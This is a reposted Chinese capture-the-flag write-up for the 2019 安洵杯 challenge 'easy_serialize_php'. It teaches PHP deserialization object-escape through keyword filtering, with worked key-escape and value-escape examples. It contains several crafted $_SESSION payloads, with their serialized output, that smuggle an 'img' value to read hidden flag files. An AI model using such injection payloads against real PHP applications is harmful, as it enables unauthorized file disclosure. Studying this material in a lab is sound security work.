[安洵杯 2019]easy_serialize_php

0x00 知识点

PHP反序列化的对象逃逸

任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞。
参考链接:
<https://blog.csdn.net/a3320315/article/details/104118688/&gt;
过滤函数分为两种情况
第一种为关键词数增加

例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸

值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&amp;_SESSION[function]=a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocA==&quot;;s:2:&quot;dd&quot;;s:1:&quot;a&quot;;}&amp;function=show_image

var_dump的结果为:

&quot;a:3{s:4:&quot;user&quot;;s:24:&quot;&quot;;s:8:&quot;function&quot;;s:59:&quot;a&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocA==&quot;;s:2:&quot;dd&quot;;s:1:&quot;a&quot;;}&quot;;s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZw==&quot;;}&quot;

键逃逸:

这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[flagphp]=;s:1:&quot;1&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocA==&quot;;}

var_dump的结果为:

&quot;a:2:{s:7:&quot;&quot;;s:48:&quot;;s:1:&quot;1&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mbGxsbGxsYWc=&quot;;}&quot;;s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZw==&quot;;}&quot;

这儿得s:7:""之所以为空,是因为我们构造得键flagphp都是会被过滤得,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去~~

0x01 解题

回到题目,我们首先看源码

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
正常传img参数进去会被sha1加密,我们应该用别的方法控制$_SESSION中的参数。
本来挺好的序列化的字符串,按某种去掉了一些关键字,本身就不对,本身就涉及到可能破坏原有结构而无法正常反序列化的问题。这里是利用反序列化长度逃逸控制了img参数。之前有一道题目是关键字替换导致字符串长度变长,把后面的原有参数挤出去了,
本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。。

extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性

根据源码,我们先对f传参phpinfo
![]()

![]()

构造payload来对
d0g3_f1ag.php读取。

;s:14:&quot;phpflagphpflag&quot;;s:7:&quot;xxxxxxx&quot;;s:3:&quot;img&quot;;s:20:&quot;L2QwZzNfZmxsbGxsbGFn&quot;;}

解释一下:
这里首先phpflagphpflag会被过滤为空,吃掉一部分值

$serialize_info的内容为

a:2:{s:7:&quot;&quot;;s:48:&quot;;s:7:&quot;xxxxxxx&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocA==&quot;;}&quot;;s:3:&quot;img&quot;;s:20:&quot;Z3Vlc3RfaW1nLnBuZw==&quot;;

刚好把后面多余的img部分截断掉

payload:

_SESSION[phpflag]=;s:7:&quot;xxxxxxx&quot;;s:3:&quot;img&quot;;s:20:&quot;ZDBnM19mMWFnLnBocA==&quot;;}

![]()

读取/d0g3_fllllllag
payload:

_SESSION[phpflag]=;s:14:&quot;phpflagphpflag&quot;;s:7:&quot;xxxxxxx&quot;;s:3:&quot;img&quot;;s:20:&quot;L2QwZzNfZmxsbGxsbGFn&quot;;}

![]()

参考链接:

<https://www.jianshu.com/p/1f44650b0822&gt;
<https://blog.csdn.net/a3320315/article/details/104118688/&gt;

声明:该文章系转载,转载该文章的目的在于更广泛的传递信息,并不代表本网站赞同其观点,文章内容仅供参考。

本站是一个个人学习和交流平台,网站上部分文章为网站管理员和网友从相关媒体转载而来,并不用于任何商业目的,内容为作者个人观点, 并不代表本网站赞同其观点和对其真实性负责。

我们已经尽可能的对作者和来源进行了通告,但是可能由于能力有限或疏忽,导致作者和来源有误,亦可能您并不期望您的作品在我们的网站上发布。我们为这些问题向您致歉,如果您在我站上发现此类问题,请及时联系我们,我们将根据您的要求,立即更正或者删除有关内容。本站拥有对此声明的最终解释权。